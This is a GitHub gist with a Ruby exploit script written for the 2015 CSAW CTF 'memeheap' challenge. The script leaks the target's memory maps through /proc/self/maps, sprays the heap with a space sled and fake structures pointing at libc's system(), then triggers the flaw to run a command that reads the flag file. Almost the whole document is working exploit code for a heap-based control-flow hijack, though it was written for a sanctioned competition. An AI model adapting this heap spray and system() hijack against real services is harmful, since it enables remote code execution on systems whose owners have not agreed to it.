Last active
September 21, 2015 03:12
-
-
Save numinit/8dd07d4f1f6529d4c2bf to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# Usage: ruby memeheap.rb <host> <port> | |
# This script was created for the 2015 CSAW CTF: https://ctf.isis.poly.edu | |
require 'base64' | |
require 'socket' | |
# Offset of system() in libc. | |
SYSTEM_OFFSET = 0x00046640 | |
# Number of steps we should take to spray the heap. | |
STEPS = 256 | |
# Reads a line. | |
# @param socket The socket | |
# @param verbose Whether to echo the line | |
def readline socket, verbose=false | |
ret = socket.readline.strip | |
if ret =~ /key{/ or ret =~ /flag{/ | |
STDOUT.puts "\e[0;31;49m#{ret}\e[0m" | |
exit | |
elsif verbose | |
STDOUT.puts ret | |
end | |
ret | |
end | |
# Eats lines until the `quit` phrase signaling that we can enter more text. | |
# @param socket The socket | |
# @param verbose Whether to echo the lines | |
def eat_until_quit socket, verbose | |
quit = "\e[0;31;49m[q]\e[0muit" | |
loop do | |
line = readline socket, verbose | |
break if line == quit | |
end | |
end | |
# Returns the heap and libc memory ranges. | |
# Useful for calculating addresses. | |
# @param socket The socket | |
# @return {heap: start..end, libc: start..end} | |
def get_maps socket | |
socket.puts 'p' | |
socket.puts Base64.strict_encode64('/proc/self/maps') | |
heap_range, libc_range = nil, nil | |
loop do | |
line = readline socket | |
case line | |
when %r{\[heap\]} | |
heap_range = Range.new *line.split.first.split('-').map {|a| a.to_i(16)} | |
when %r{libc-2\.19\.so} | |
libc_range = Range.new *line.split.first.split('-').map {|a| a.to_i(16)} if line =~ %r{r-xp} | |
end | |
break if !heap_range.nil? and !libc_range.nil? | |
end | |
eat_until_quit socket, false | |
{heap: heap_range, libc: libc_range} | |
end | |
# Prints memory maps. | |
# @param maps The maps | |
def print_maps maps | |
STDOUT.puts "Heap size: #{'%016x' % (maps[:heap].end - maps[:heap].begin)}" | |
STDOUT.puts "Heap range: #{'%016x' % maps[:heap].begin} => #{'%016x' % maps[:heap].end}" | |
STDOUT.puts "libc range: #{'%016x' % maps[:libc].begin} => #{'%016x' % maps[:libc].end}" | |
end | |
# Generates a payload. | |
# @param idx The index of the payload, in 0 <= idx < tries. | |
# @param maps The memory maps | |
# @return The payload | |
def generate_payload idx, tries, maps | |
# The command we should get system() to execute. | |
command = 'cat /home/ctf/flag' | |
# Rationale for what we're about to do: system() tends to ignore spaces. | |
# Therefore, we should pack lots of spaces in there to use it as a sled | |
# to our command. | |
sled = '' | |
# Fill the meme with spaces, and a null-terminated command | |
sled << (' ' * (12 * 8 - command.length) + command) << "\x00" | |
# Fill the space after what's copied into this meme with more spaces | |
sled << (' ' * (rand((1 << 15)..(1 << 17)) - command.length) + command) << "\x00" | |
# Evenly distribute this payload over the map range | |
length = maps[:heap].end - maps[:heap].begin | |
ptr = maps[:heap].begin + (length * (idx.to_f / tries.to_f)).floor | |
# Calculate the system offset | |
system = maps[:libc].begin + SYSTEM_OFFSET | |
# Make the payload: | |
# [64 bits] [64 bits] [32 bits] [32 bits] [sled] | |
# ^ ^ ^ ^ | |
# | \- system | \- padding | |
# \- padding \- rdi (argument) | |
payload = [0, system, ptr, 0].pack('Q<Q<L<L<') + sled | |
# Encode it | |
Base64.strict_encode64(payload).freeze | |
end | |
# Sprays 256 doge onto a socket. | |
# @param socket The socket | |
def spray_doge socket | |
STEPS.times do |i| | |
socket.puts 'o' | |
eat_until_quit socket, false | |
STDOUT.puts if i % 32 == 0 and i > 0 | |
STDOUT.print '.' | |
STDOUT.flush | |
end | |
STDOUT.puts | |
end | |
# Sprays 256 skeletals onto a socket. | |
# @param socket The socket | |
def spray_skeletals maps, socket | |
STEPS.times do |i| | |
payload = generate_payload i, STEPS, maps | |
socket.puts 'm' | |
socket.puts payload | |
eat_until_quit socket, false | |
STDOUT.puts if i % 32 == 0 and i > 0 | |
STDOUT.print '.' | |
STDOUT.flush | |
end | |
STDOUT.puts | |
end | |
# Checks out, triggering the vulnerability. | |
# @param socket The socket | |
def checkout! socket | |
socket.puts 'c' | |
sleep 1 | |
eat_until_quit socket, true | |
end | |
# Create a socket. | |
socket = TCPSocket.new ARGV[0], Integer(ARGV[1]) | |
# Get initial maps | |
initial_maps = get_maps socket | |
STDOUT.puts ">>> Initial maps" | |
print_maps initial_maps | |
# Spray doge | |
STDOUT.puts "*** Spraying doge" | |
spray_doge socket | |
# Get new maps | |
doge_maps = get_maps socket | |
STDOUT.puts ">>> Doge maps" | |
print_maps doge_maps | |
# Figure out where we should scan for skeletals. | |
# There's a bootstrapping problem here: we can't look into the future to see the process maps, | |
# so guess how much the heap will expand | |
expansion_ratio = 1.5 | |
estimated_new_size = ((doge_maps[:heap].end - doge_maps[:heap].begin) * expansion_ratio).floor | |
estimated_end_offset = doge_maps[:heap].begin + estimated_new_size | |
# Only scan from the end of the old heap to the estimated end of the new heap. We have | |
# 256 shots to get this right, so give ourselves a decent shot. | |
skel_maps = {heap: (doge_maps[:heap].end)..estimated_end_offset, libc: doge_maps[:libc]} | |
STDOUT.puts ">>> Scan maps" | |
STDOUT.puts "Expansion ratio (estimated): #{'%.4f' % expansion_ratio}" | |
print_maps skel_maps | |
# Spray skeletals | |
STDOUT.puts "*** Spraying skeletals" | |
spray_skeletals skel_maps, socket | |
# Get final maps | |
final_maps = get_maps socket | |
STDOUT.puts ">>> Final maps" | |
print_maps final_maps | |
begin | |
# Check out, activating the exploit | |
STDOUT.puts "*** Checking out" | |
checkout! socket | |
rescue IOError, EOFError => e | |
puts "EOF" | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment